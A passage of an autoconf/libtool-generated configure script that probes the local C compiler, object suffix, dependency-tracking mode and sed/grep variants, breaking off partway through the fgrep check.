$as_echo_n "checking whether we are cross compiling... " >&6; } if test "$cross_compiling" != yes; then { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } if { ac_try='./conftest$ac_cv_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then cross_compiling=no else if test "$cross_compiling" = maybe; then cross_compiling=yes else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details." "$LINENO" 5; } fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 $as_echo "$cross_compiling" >&6; } rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 $as_echo_n "checking for suffix of object files... " >&6; } if test "${ac_cv_objext+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.o conftest.obj if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : for ac_file in conftest.o conftest.obj conftest.*; do test -f "$ac_file" || continue; case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` break;; esac done else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "cannot compute suffix of object files: cannot compile See \`config.log' for more details." "$LINENO" 5; } fi rm -f conftest.$ac_cv_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_objext" >&5 $as_echo "$ac_cv_objext" >&6; } OBJEXT=$ac_cv_objext ac_objext=$OBJEXT { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU C compiler" >&5 $as_echo_n "checking whether we are using the GNU C compiler... " >&6; } if test "${ac_cv_c_compiler_gnu+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_compiler_gnu=yes else ac_compiler_gnu=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_c_compiler_gnu=$ac_compiler_gnu fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 $as_echo "$ac_cv_c_compiler_gnu" >&6; } if test $ac_compiler_gnu = yes; then GCC=yes else GCC= fi ac_test_CFLAGS=${CFLAGS+set} ac_save_CFLAGS=$CFLAGS { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 $as_echo_n "checking whether $CC accepts -g... " >&6; } if test "${ac_cv_prog_cc_g+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_save_c_werror_flag=$ac_c_werror_flag ac_c_werror_flag=yes ac_cv_prog_cc_g=no CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes else CFLAGS="" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : else ac_c_werror_flag=$ac_save_c_werror_flag CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_c_werror_flag=$ac_save_c_werror_flag fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 $as_echo "$ac_cv_prog_cc_g" >&6; } if test "$ac_test_CFLAGS" = set; then CFLAGS=$ac_save_CFLAGS elif test $ac_cv_prog_cc_g = yes; then if test "$GCC" = yes; then CFLAGS="-g -O2" else CFLAGS="-g" fi else if test "$GCC" = yes; then CFLAGS="-O2" else CFLAGS= fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $CC option to accept ISO C89" >&5 $as_echo_n "checking for $CC option to accept ISO C89... " >&6; } if test "${ac_cv_prog_cc_c89+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_cv_prog_cc_c89=no ac_save_CC=$CC cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include /* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ struct buf { int x; }; FILE * (*rcsopen) (struct buf *, struct stat *, int); static char *e (p, i) char **p; int i; { return p[i]; } static char *f (char * (*g) (char **, int), char **p, ...) { char *s; va_list v; va_start (v,p); s = g (p, va_arg (v,int)); va_end (v); return s; } /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has function prototypes and stuff, but not '\xHH' hex character constants. These don't provoke an error unfortunately, instead are silently treated as 'x'. The following induces an error, until -std is added to get proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an array size at least. It's necessary to write '\x00'==0 to get something that's true only with -std. */ int osf4_cc_array ['\x00' == 0 ? 1 : -1]; /* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters inside strings and character constants. */ #define FOO(x) 'x' int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; int test (int i, double x); struct s1 {int (*f) (int a);}; struct s2 {int (*f) (double a);}; int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); int argc; char **argv; int main () { return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; ; return 0; } _ACEOF for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" do CC="$ac_save_CC $ac_arg" if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_c89=$ac_arg fi rm -f core conftest.err conftest.$ac_objext test "x$ac_cv_prog_cc_c89" != "xno" && break done rm -f conftest.$ac_ext CC=$ac_save_CC fi # AC_CACHE_VAL case "x$ac_cv_prog_cc_c89" in x) { $as_echo "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 $as_echo "none needed" >&6; } ;; xno) { $as_echo "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 $as_echo "unsupported" >&6; } ;; *) CC="$CC $ac_cv_prog_cc_c89" { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89" >&5 $as_echo "$ac_cv_prog_cc_c89" >&6; } ;; esac if test "x$ac_cv_prog_cc_c89" != xno; then : fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu DEPDIR="${am__leading_dot}deps" ac_config_commands="$ac_config_commands depfiles" am_make=${MAKE-make} cat > confinc << 'END' am__doit: @echo this is the am__doit target .PHONY: am__doit END # If we don't find an include directive, just comment out the code. { $as_echo "$as_me:${as_lineno-$LINENO}: checking for style of include used by $am_make" >&5 $as_echo_n "checking for style of include used by $am_make... " >&6; } am__include="#" am__quote= _am_result=none # First try GNU make style include. echo "include confinc" > confmf # Ignore all kinds of additional output from `make'. case `$am_make -s -f confmf 2> /dev/null` in #( *the\ am__doit\ target*) am__include=include am__quote= _am_result=GNU ;; esac # Now try BSD make style include. if test "$am__include" = "#"; then echo '.include "confinc"' > confmf case `$am_make -s -f confmf 2> /dev/null` in #( *the\ am__doit\ target*) am__include=.include am__quote="\"" _am_result=BSD ;; esac fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $_am_result" >&5 $as_echo "$_am_result" >&6; } rm -f confinc confmf # Check whether --enable-dependency-tracking was given. if test "${enable_dependency_tracking+set}" = set; then : enableval=$enable_dependency_tracking; fi if test "x$enable_dependency_tracking" != xno; then am_depcomp="$ac_aux_dir/depcomp" AMDEPBACKSLASH='\' fi if test "x$enable_dependency_tracking" != xno; then AMDEP_TRUE= AMDEP_FALSE='#' else AMDEP_TRUE='#' AMDEP_FALSE= fi depcc="$CC" am_compiler_list= { $as_echo "$as_me:${as_lineno-$LINENO}: checking dependency style of $depcc" >&5 $as_echo_n "checking dependency style of $depcc... " >&6; } if test "${am_cv_CC_dependencies_compiler_type+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then # We make a subdir and do the tests there. Otherwise we can end up # making bogus files that we don't know about and never remove. For # instance it was reported that on HP-UX the gcc test will end up # making a dummy file named `D' -- because `-MD' means `put the output # in D'. mkdir conftest.dir # Copy depcomp to subdir because otherwise we won't find it if we're # using a relative directory. cp "$am_depcomp" conftest.dir cd conftest.dir # We will build objects and dependencies in a subdirectory because # it helps to detect inapplicable dependency modes. For instance # both Tru64's cc and ICC support -MD to output dependencies as a # side effect of compilation, but ICC will put the dependencies in # the current directory while Tru64 will put them in the object # directory. mkdir sub am_cv_CC_dependencies_compiler_type=none if test "$am_compiler_list" = ""; then am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` fi am__universal=false case " $depcc " in #( *\ -arch\ *\ -arch\ *) am__universal=true ;; esac for depmode in $am_compiler_list; do # Setup a source with many dependencies, because some compilers # like to wrap large dependency lists on column 80 (with \), and # we should not choose a depcomp mode which is confused by this. # # We need to recreate these files for each test, as the compiler may # overwrite some of them when testing with obscure command lines. # This happens at least with the AIX C compiler. : > sub/conftest.c for i in 1 2 3 4 5 6; do echo '#include "conftst'$i'.h"' >> sub/conftest.c # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with # Solaris 8's {/usr,}/bin/sh. touch sub/conftst$i.h done echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf # We check with `-c' and `-o' for the sake of the "dashmstdout" # mode. It turns out that the SunPro C++ compiler does not properly # handle `-M -o', and we need to detect this. Also, some Intel # versions had trouble with output in subdirs am__obj=sub/conftest.${OBJEXT-o} am__minus_obj="-o $am__obj" case $depmode in gcc) # This depmode causes a compiler race in universal mode. test "$am__universal" = false || continue ;; nosideeffect) # after this tag, mechanisms are not by side-effect, so they'll # only be used when explicitly requested if test "x$enable_dependency_tracking" = xyes; then continue else break fi ;; msvisualcpp | msvcmsys) # This compiler won't grok `-c -o', but also, the minuso test has # not run yet. These depmodes are late enough in the game, and # so weak that their functioning should not be impacted. am__obj=conftest.${OBJEXT-o} am__minus_obj= ;; none) break ;; esac if depmode=$depmode \ source=sub/conftest.c object=$am__obj \ depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ >/dev/null 2>conftest.err && grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && grep $am__obj sub/conftest.Po > /dev/null 2>&1 && ${MAKE-make} -s -f confmf > /dev/null 2>&1; then # icc doesn't choke on unknown options, it will just issue warnings # or remarks (even with -Werror). So we grep stderr for any message # that says an option was ignored or not supported. # When given -MP, icc 7.0 and 7.1 complain thusly: # icc: Command line warning: ignoring option '-M'; no argument required # The diagnosis changed in icc 8.0: # icc: Command line remark: option '-MP' not supported if (grep 'ignoring option' conftest.err || grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else am_cv_CC_dependencies_compiler_type=$depmode break fi fi done cd .. rm -rf conftest.dir else am_cv_CC_dependencies_compiler_type=none fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $am_cv_CC_dependencies_compiler_type" >&5 $as_echo "$am_cv_CC_dependencies_compiler_type" >&6; } CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type if test "x$enable_dependency_tracking" != xno \ && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then am__fastdepCC_TRUE= am__fastdepCC_FALSE='#' else am__fastdepCC_TRUE='#' am__fastdepCC_FALSE= fi CFLAGS=$save_CFLAGS # By default we simply use the C compiler to build assembly code. test "${CCAS+set}" = set || CCAS=$CC test "${CCASFLAGS+set}" = set || CCASFLAGS=$CFLAGS depcc="$CCAS" am_compiler_list= { $as_echo "$as_me:${as_lineno-$LINENO}: checking dependency style of $depcc" >&5 $as_echo_n "checking dependency style of $depcc... " >&6; } if test "${am_cv_CCAS_dependencies_compiler_type+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then # We make a subdir and do the tests there. Otherwise we can end up # making bogus files that we don't know about and never remove. For # instance it was reported that on HP-UX the gcc test will end up # making a dummy file named `D' -- because `-MD' means `put the output # in D'. mkdir conftest.dir # Copy depcomp to subdir because otherwise we won't find it if we're # using a relative directory. cp "$am_depcomp" conftest.dir cd conftest.dir # We will build objects and dependencies in a subdirectory because # it helps to detect inapplicable dependency modes. For instance # both Tru64's cc and ICC support -MD to output dependencies as a # side effect of compilation, but ICC will put the dependencies in # the current directory while Tru64 will put them in the object # directory. mkdir sub am_cv_CCAS_dependencies_compiler_type=none if test "$am_compiler_list" = ""; then am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` fi am__universal=false for depmode in $am_compiler_list; do # Setup a source with many dependencies, because some compilers # like to wrap large dependency lists on column 80 (with \), and # we should not choose a depcomp mode which is confused by this. # # We need to recreate these files for each test, as the compiler may # overwrite some of them when testing with obscure command lines. # This happens at least with the AIX C compiler. : > sub/conftest.c for i in 1 2 3 4 5 6; do echo '#include "conftst'$i'.h"' >> sub/conftest.c # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with # Solaris 8's {/usr,}/bin/sh. touch sub/conftst$i.h done echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf # We check with `-c' and `-o' for the sake of the "dashmstdout" # mode. It turns out that the SunPro C++ compiler does not properly # handle `-M -o', and we need to detect this. Also, some Intel # versions had trouble with output in subdirs am__obj=sub/conftest.${OBJEXT-o} am__minus_obj="-o $am__obj" case $depmode in gcc) # This depmode causes a compiler race in universal mode. test "$am__universal" = false || continue ;; nosideeffect) # after this tag, mechanisms are not by side-effect, so they'll # only be used when explicitly requested if test "x$enable_dependency_tracking" = xyes; then continue else break fi ;; msvisualcpp | msvcmsys) # This compiler won't grok `-c -o', but also, the minuso test has # not run yet. These depmodes are late enough in the game, and # so weak that their functioning should not be impacted. am__obj=conftest.${OBJEXT-o} am__minus_obj= ;; none) break ;; esac if depmode=$depmode \ source=sub/conftest.c object=$am__obj \ depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ >/dev/null 2>conftest.err && grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && grep $am__obj sub/conftest.Po > /dev/null 2>&1 && ${MAKE-make} -s -f confmf > /dev/null 2>&1; then # icc doesn't choke on unknown options, it will just issue warnings # or remarks (even with -Werror). So we grep stderr for any message # that says an option was ignored or not supported. # When given -MP, icc 7.0 and 7.1 complain thusly: # icc: Command line warning: ignoring option '-M'; no argument required # The diagnosis changed in icc 8.0: # icc: Command line remark: option '-MP' not supported if (grep 'ignoring option' conftest.err || grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else am_cv_CCAS_dependencies_compiler_type=$depmode break fi fi done cd .. rm -rf conftest.dir else am_cv_CCAS_dependencies_compiler_type=none fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $am_cv_CCAS_dependencies_compiler_type" >&5 $as_echo "$am_cv_CCAS_dependencies_compiler_type" >&6; } CCASDEPMODE=depmode=$am_cv_CCAS_dependencies_compiler_type if test "x$enable_dependency_tracking" != xno \ && test "$am_cv_CCAS_dependencies_compiler_type" = gcc3; then am__fastdepCCAS_TRUE= am__fastdepCCAS_FALSE='#' else am__fastdepCCAS_TRUE='#' am__fastdepCCAS_FALSE= fi if test "x$CC" != xcc; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC and cc understand -c and -o together" >&5 $as_echo_n "checking whether $CC and cc understand -c and -o together... " >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether cc understands -c and -o together" >&5 $as_echo_n "checking whether cc understands -c and -o together... " >&6; } fi set dummy $CC; ac_cc=`$as_echo "$2" | sed 's/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/'` if { as_var=ac_cv_prog_cc_${ac_cc}_c_o; eval "test \"\${$as_var+set}\" = set"; }; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF # Make sure it works both with $CC and with simple cc. # We do the test twice because some compilers refuse to overwrite an # existing .o file with -o, though they will create one. ac_try='$CC -c conftest.$ac_ext -o conftest2.$ac_objext >&5' rm -f conftest2.* if { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && test -f conftest2.$ac_objext && { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then eval ac_cv_prog_cc_${ac_cc}_c_o=yes if test "x$CC" != xcc; then # Test first that cc exists at all. if { ac_try='cc -c conftest.$ac_ext >&5' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then ac_try='cc -c conftest.$ac_ext -o conftest2.$ac_objext >&5' rm -f conftest2.* if { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && test -f conftest2.$ac_objext && { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then # cc works too. : else # cc exists but doesn't like -o. eval ac_cv_prog_cc_${ac_cc}_c_o=no fi fi fi else eval ac_cv_prog_cc_${ac_cc}_c_o=no fi rm -f core conftest* fi if eval test \$ac_cv_prog_cc_${ac_cc}_c_o = yes; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } $as_echo "#define NO_MINUS_C_MINUS_O 1" >>confdefs.h fi # FIXME: we rely on the cache variable name because # there is no other way. set dummy $CC am_cc=`echo $2 | sed 's/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/'` eval am_t=\$ac_cv_prog_cc_${am_cc}_c_o if test "$am_t" != yes; then # Losing compiler, so override with the script. # FIXME: It is wrong to rewrite CC. # But if we don't then we get into trouble of one sort or another. # A longer-term fix would be to have automake use am__CC in this case, # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)" CC="$am_aux_dir/compile $CC" fi case `pwd` in *\ * | *\ *) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Libtool does not cope well with whitespace in \`pwd\`" >&5 $as_echo "$as_me: WARNING: Libtool does not cope well with whitespace in \`pwd\`" >&2;} ;; esac macro_version='2.2.6b' macro_revision='1.3017' ltmain="$ac_aux_dir/ltmain.sh" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for a sed that does not truncate output" >&5 $as_echo_n "checking for a sed that does not truncate output... " >&6; } if test "${ac_cv_path_SED+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_script=s/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/ for ac_i in 1 2 3 4 5 6 7; do ac_script="$ac_script$as_nl$ac_script" done echo "$ac_script" 2>/dev/null | sed 99q >conftest.sed { ac_script=; unset ac_script;} if test -z "$SED"; then ac_path_SED_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in sed gsed; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_SED="$as_dir/$ac_prog$ac_exec_ext" { test -f "$ac_path_SED" && $as_test_x "$ac_path_SED"; } || continue # Check for GNU ac_path_SED and select it if it is found. # Check for GNU $ac_path_SED case `"$ac_path_SED" --version 2>&1` in *GNU*) ac_cv_path_SED="$ac_path_SED" ac_path_SED_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo '' >> "conftest.nl" "$ac_path_SED" -f conftest.sed < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_SED_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_SED="$ac_path_SED" ac_path_SED_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_SED_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_SED"; then as_fn_error "no acceptable sed could be found in \$PATH" "$LINENO" 5 fi else ac_cv_path_SED=$SED fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_SED" >&5 $as_echo "$ac_cv_path_SED" >&6; } SED="$ac_cv_path_SED" rm -f conftest.sed test -z "$SED" && SED=sed Xsed="$SED -e 1s/^X//" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for grep that handles long lines and -e" >&5 $as_echo_n "checking for grep that handles long lines and -e... " >&6; } if test "${ac_cv_path_GREP+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -z "$GREP"; then ac_path_GREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in grep ggrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext" { test -f "$ac_path_GREP" && $as_test_x "$ac_path_GREP"; } || continue # Check for GNU ac_path_GREP and select it if it is found. # Check for GNU $ac_path_GREP case `"$ac_path_GREP" --version 2>&1` in *GNU*) ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'GREP' >> "conftest.nl" "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_GREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_GREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_GREP"; then as_fn_error "no acceptable grep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_GREP=$GREP fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP" >&5 $as_echo "$ac_cv_path_GREP" >&6; } GREP="$ac_cv_path_GREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for egrep" >&5 $as_echo_n "checking for egrep... " >&6; } if test "${ac_cv_path_EGREP+set}" = set; then : $as_echo_n "(cached) " >&6 else if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 then ac_cv_path_EGREP="$GREP -E" else if test -z "$EGREP"; then ac_path_EGREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in egrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext" { test -f "$ac_path_EGREP" && $as_test_x "$ac_path_EGREP"; } || continue # Check for GNU ac_path_EGREP and select it if it is found. # Check for GNU $ac_path_EGREP case `"$ac_path_EGREP" --version 2>&1` in *GNU*) ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'EGREP' >> "conftest.nl" "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_EGREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_EGREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_EGREP"; then as_fn_error "no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_EGREP=$EGREP fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5 $as_echo "$ac_cv_path_EGREP" >&6; } EGREP="$ac_cv_path_EGREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for fgrep" >&5 $as_echo_n "checking for fgrep... " >&6; } if test "${ac_cv_path_FGREP+set}" = set; then : $as_echo_n "(cached) " >&6 else if echo 'ab*c' | $GREP -F 'ab*c' >/dev/null 2>&1 then ac_cv_path_FGREP="$GREP -F" else if test -z "$FGREP"; then ac_path_FGREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in fgrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_FGREP="$as_dir/$ac_prog$ac_exec_ext" { test -f "$ac_path_FGREP" && $as_test_x 